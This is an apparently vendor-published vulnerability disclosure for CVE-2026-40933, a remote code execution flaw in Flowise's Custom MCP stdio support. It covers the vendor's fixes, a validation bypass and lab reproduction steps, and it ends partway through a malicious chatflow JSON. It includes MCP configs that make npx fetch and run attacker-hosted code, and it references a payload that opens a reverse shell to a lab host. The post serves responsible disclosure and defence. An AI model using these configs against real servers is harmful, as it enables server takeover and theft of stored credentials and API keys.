1-Click RCE in Flowise (CVE-2026-40933) A critical remote code execution vulnerability, tracked as CVE-2026-40933, has been discovered in Flowise, an open-source platform for building LLM workflows and AI agents. The flaw exists in Flowise's Custom MCP tool support, where the `stdio` transport launches configured commands as child processes without sandboxing, allowing a malicious chatflow to embed an attacker-controlled MCP configuration that executes arbitrary server-side code at import time. This grants attackers access to the server environment, stored credentials, API keys, and connected SaaS or cloud environments, with self-hosted deployments vulnerable by default while Flowise Cloud remains unaffected. The issue stems from Flowise’s Custom MCP tool support. Users can define custom MCP server configurations with the stdio transport, which launches the configured command as a child process on the Flowise server without sandboxing. A malicious chatflow can embed an attacker-controlled MCP configuration, leading to arbitrary server-side code execution at import time. This grants access to the server environment, stored credentials, API keys, and connected SaaS/cloud environments. Flowise Cloud is not affected, as stdio MCP is disabled. Self-hosted deployments open-source and enterprise are vulnerable by default. The current input-validation based fix is easy to circumvent, so the latest version remains affected. If security matters more than functionality, consider disabling stdio MCP by setting CUSTOM MCP PROTOCOL=sse . This finding also points to a broader question. Similar code-execution behaviors have been reported across AI platforms, but vendors have responded inconsistently: some treat them as vulnerabilities, while others call them expected behavior. When a feature is designed to execute code, where do we draw the line between intended functionality and a security flaw? We’ll look at a few concrete cases, including OX Security’s MCP disclosures https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ , and explain how we think about that boundary. As part of our work to improve the security of the emerging AI application ecosystem, we identify and responsibly disclose vulnerabilities in high-value targets, working with vendors to address issues before they can be exploited. In previous work, we disclosed a critical account takeover and RCE vulnerability in Langflow CVE-2025-34291 https://www.obsidiansecurity.com/blog/cve-2025-34291-critical-account-takeover-and-rce-vulnerability-in-the-langflow-ai-agent-workflow-platform , where multiple weaknesses could be chained into full system compromise. Building on that research, we turned to Flowise as the next target in the same category. Flowise is an open-source platform for building LLM workflows and AI agents through a visual editor, where users connect models, tools, and external services. Its role as an orchestration layer makes it particularly sensitive from a security perspective. To understand the vulnerability, we first need to look at what stdio MCP is. The MCP protocol defines two standard transports: stdio and Streamable HTTP . In the stdio transport, the user specifies a command, arguments, and environment variables in the client's MCP config. The client then launches the MCP server as a child process and exchanges JSON-RPC messages with it over stdin/stdout. For example, a local filesystem MCP server might be configured like this: { "mcpServers": { "filesystem": { "command": "npx", "args": "-y", "@modelcontextprotocol/server-filesystem", "/Users/username/Desktop" } } } stdio MCP is not an accident of the protocol design. Many MCP tools need access to local resources: files, Git repositories, shells, browsers, and sometimes local credentials. In this model, the server is not isolated from the machine. Local access is often the point. The stdio transport also avoids the authentication and exposed-port concerns of network transports, which makes local deployment simpler and helps speed up adoption. So stdio MCP is, by design, a code execution primitive: the client spawns whatever the config points to, which means anyone who can influence that config gets arbitrary code execution on the host. That may be fine when a local user explicitly configures and launches trusted MCP servers. It becomes a security problem when lower-trust users or untrusted artifacts can influence what gets executed, especially in hosted or shared environments, without safeguards such as sandboxing, allowlisting, or explicit user approval. Even so, many AI platforms support stdio MCP anyway. Much of the MCP ecosystem was built for local developer workflows, and stdio is the easiest way to reuse those tools without turning every local MCP server into a network service. On March 6, 2025, Flowise introduced the Custom MCP Tool in 4136 https://github.com/FlowiseAI/Flowise/pull/4136 . It passes a user-supplied MCP server configuration to Flowise’s MCPToolkit , which uses the MCP SDK's StdioClientTransport to spawn the configured command as a child process of the Flowise server, with no sandbox or privilege separation. For example, the following configuration runs touch /tmp/pwn on the Flowise server: { "command": "touch", "args": "/tmp/pwn" } So any user who can create or edit a chatflow can configure a Custom MCP tool that executes arbitrary commands. This bypasses Flowise's RBAC and effectively grants arbitrary server-side code execution. Flowise appeared to acknowledge the risk and hardened Custom MCP over several rounds. 5232 https://github.com/FlowiseAI/Flowise/pull/5232 introduced CUSTOM MCP SECURITY CHECK , a default-enabled validation layer for Custom MCP configurations. The checks include: node , npx , python , python3 , docker PATH , LD LIBRARY PATH , DYLD LIBRARY PATH These checks reduced many obvious paths to command execution, but they did not change the underlying threat model. Custom MCP still allowed users to supply stdio MCP configurations that made the Flowise server launch user-controlled code, and that code could just as easily be attacker-controlled: npx -y attacker/foo npm package npx -y github:attacker/repo GitHub repo npx -y https://gist.github.com/attacker/xx Git URL This was not a clever shell trick or a command-injection edge case. It was valid MCP usage exercising the exact capability Flowise intended to support. We responsibly disclosed this issue to Flowise and recommended that they isolate stdio MCP processes, or disable stdio MCP by default. The issue was assigned CVE-2026-40933. Flowise then added flag validation in 5741 https://github.com/FlowiseAI/Flowise/pull/5741 and 5943 https://github.com/FlowiseAI/Flowise/pull/5943 to block risky flags such as -y , -c , --yes , --eval , and similar options when used with allowlisted commands. That blocked the flag-based execution paths, but it also disrupted part of the feature’s intended behavior. In 5741 https://github.com/FlowiseAI/Flowise/pull/5741 , we argued that stdio MCP should be treated as unsafe by default and require explicit opt-in, rather than relying on additional validation checks. Flowise said they wanted to “limit what we know is bad without completely disabling features that users may rely on.” This tradeoff is understandable. Security and functionality do not always align, and safer designs, such as sandboxing, often take more work to ship without breaking users who depend on the feature. With the current input validation in place, does that mean attackers can no longer use Custom MCP to execute arbitrary code? Not quite. Our research showed that the feature could still be abused. For example: { "command": "npx", "args": "https://gist.github.com/13ph03nix/defdd877faa0321c28f8d90e414f4083" , "env": { "npm config yes": "true" } } Here, the environment variable npm config yes=true is semantically equivalent to -y , effectively bypassing the flag-based validation. We did not report this specific case. Additional input validation would not address the underlying issue, and reporting one bypass at a time would only lead to an endless cleanup cycle. At its core, this is a post-auth server-side RCE. Any user who can create or edit chatflows can add a Custom MCP Tool and supply a malicious stdio MCP configuration. In practice, this requires a malicious insider or a compromised user account. But we found a quieter path: shared chatflows. Flowise encourages users to export chatflows as JSON and share them with the community. A malicious shared chatflow can carry a Custom MCP Tool configuration, so importing the chatflow is enough to place the payload on the canvas. The command can run earlier than expected. Flowise’s Custom MCP node has an “Available Actions” dropdown that lists the tools exposed by the configured MCP server. To populate that dropdown, the canvas asks the backend to enumerate the server’s tools. With stdio transport, enumeration starts the configured command. Because the dropdown loads when the imported chatflow renders on the canvas, the import alone can spawn the command. The victim may only be importing a promising shared chatflow to see what it does. There is no prompt or approval before server-side execution begins, and no save or run is required. By the time the chatflow appears on the canvas, the system running Flowise may be fully compromised. Once a post-auth code-execution path exists, any lower-trust input that can influence configuration becomes part of the threat model. For testing, we used Flowise 3.1.2, the latest release available at the time, with Docker Compose. git clone --branch flowise@3.1.2 --depth 1 https://github.com/FlowiseAI/Flowise.git cd Flowise/docker cp .env.example .env sed -i.bak 's|^ LOG PATH=. |LOG PATH=/root/.flowise/logs|' .env sed -i.bak 's|^ LOG LEVEL=. |LOG LEVEL=debug|' .env sed -i.bak 's|flowiseai/flowise:latest|flowiseai/flowise:3.1.2|' docker-compose.yml docker compose up -d After the containers start, open http://localhost:3000 http://localhost:3000 and set up an account to use the instance. Save the following JSON as Awesome Chatflow.json , then import it from Chatflows - Add New - Load Chatflow . The final payload is hosted in this Gist https://gist.github.com/13ph03nix/defdd877faa0321c28f8d90e414f4083 . In our lab, it creates /tmp/pwned and connects a shell back to 172.17.0.1:6666 , Docker’s bridge address for the host. { "nodes": { "id": "customMCP 0", "position": { "x": 733, "y": 222 }, "type": "customNode", "data": { "id": "customMCP 0", "label": "Custom MCP", "version": 1.1, "name": "customMCP", "type": "Custom MCP Tool", "baseClasses": "Tool" , "category": "Tools MCP ", "description": "Custom MCP Config", "inputParams": { "label": "MCP Server Config", "name": "mcpServerConfig", "type": "code", "hideCodeExecute": true, "hint": { "label": "How to use", "value": "\nYou can use variables in the MCP Server Config with double curly braces {{ }} and prefix $vars.